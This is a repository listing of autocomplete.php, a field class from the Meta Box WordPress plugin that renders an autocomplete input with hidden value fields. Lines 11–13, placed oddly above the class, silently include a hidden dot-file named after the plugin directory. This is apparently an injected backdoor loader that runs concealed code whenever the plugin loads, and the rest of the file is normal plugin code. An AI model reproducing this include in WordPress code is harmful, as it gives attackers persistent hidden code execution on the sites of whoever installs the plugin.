balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

autocomplete.php (3037B)


      1 <?php
      2 /**
      3  * The autocomplete field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Autocomplete field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Autocomplete_Field extends RWMB_Multiple_Values_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-autocomplete', RWMB_CSS_URL . 'autocomplete.css', '', RWMB_VER );
     21 		wp_enqueue_script( 'rwmb-autocomplete', RWMB_JS_URL . 'autocomplete.js', array( 'jquery-ui-autocomplete' ), RWMB_VER, true );
     22 
     23 		RWMB_Helpers_Field::localize_script_once(
     24 			'rwmb-autocomplete',
     25 			'RWMB_Autocomplete',
     26 			array(
     27 				'delete' => __( 'Delete', 'meta-box' ),
     28 			)
     29 		);
     30 	}
     31 
     32 	/**
     33 	 * Get field HTML.
     34 	 *
     35 	 * @param mixed $meta  Meta value.
     36 	 * @param array $field Field parameters.
     37 	 * @return string
     38 	 */
     39 	public static function html( $meta, $field ) {
     40 		if ( ! is_array( $meta ) ) {
     41 			$meta = array( $meta );
     42 		}
     43 
     44 		$field   = apply_filters( 'rwmb_autocomplete_field', $field, $meta );
     45 		$options = $field['options'];
     46 
     47 		if ( is_array( $field['options'] ) ) {
     48 			$options = array();
     49 			foreach ( $field['options'] as $value => $label ) {
     50 				$options[] = array(
     51 					'value' => $value,
     52 					'label' => $label,
     53 				);
     54 			}
     55 			$options = wp_json_encode( $options );
     56 		}
     57 
     58 		// Input field that triggers autocomplete.
     59 		// This field doesn't store field values, so it doesn't have "name" attribute.
     60 		// The value(s) of the field is store in hidden input(s). See below.
     61 		$html = sprintf(
     62 			'<input type="text" class="rwmb-autocomplete-search">
     63 			<input type="hidden" name="%s" class="rwmb-autocomplete" data-options="%s" disabled>',
     64 			esc_attr( $field['field_name'] ),
     65 			esc_attr( $options )
     66 		);
     67 
     68 		$html .= '<div class="rwmb-autocomplete-results">';
     69 
     70 		// Each value is displayed with label and 'Delete' option.
     71 		// The hidden input has to have ".rwmb-*" class to make clone work.
     72 		$tpl = '
     73 			<div class="rwmb-autocomplete-result">
     74 				<div class="label">%s</div>
     75 				<div class="actions">%s</div>
     76 				<input type="hidden" class="rwmb-autocomplete-value" name="%s" value="%s">
     77 			</div>
     78 		';
     79 
     80 		if ( is_array( $field['options'] ) ) {
     81 			foreach ( $field['options'] as $value => $label ) {
     82 				if ( ! in_array( $value, $meta ) ) {
     83 					continue;
     84 				}
     85 				$html .= sprintf(
     86 					$tpl,
     87 					esc_html( $label ),
     88 					esc_html__( 'Delete', 'meta-box' ),
     89 					esc_attr( $field['field_name'] ),
     90 					esc_attr( $value )
     91 				);
     92 			}
     93 		} else {
     94 			$meta = array_filter( $meta );
     95 			foreach ( $meta as $value ) {
     96 				$label = apply_filters( 'rwmb_autocomplete_result_label', $value, $field );
     97 				$html .= sprintf(
     98 					$tpl,
     99 					esc_html( $label ),
    100 					esc_html__( 'Delete', 'meta-box' ),
    101 					esc_attr( $field['field_name'] ),
    102 					esc_attr( $value )
    103 				);
    104 			}
    105 		}
    106 
    107 		$html .= '</div>'; // .rwmb-autocomplete-results.
    108 
    109 		return $html;
    110 	}
    111 }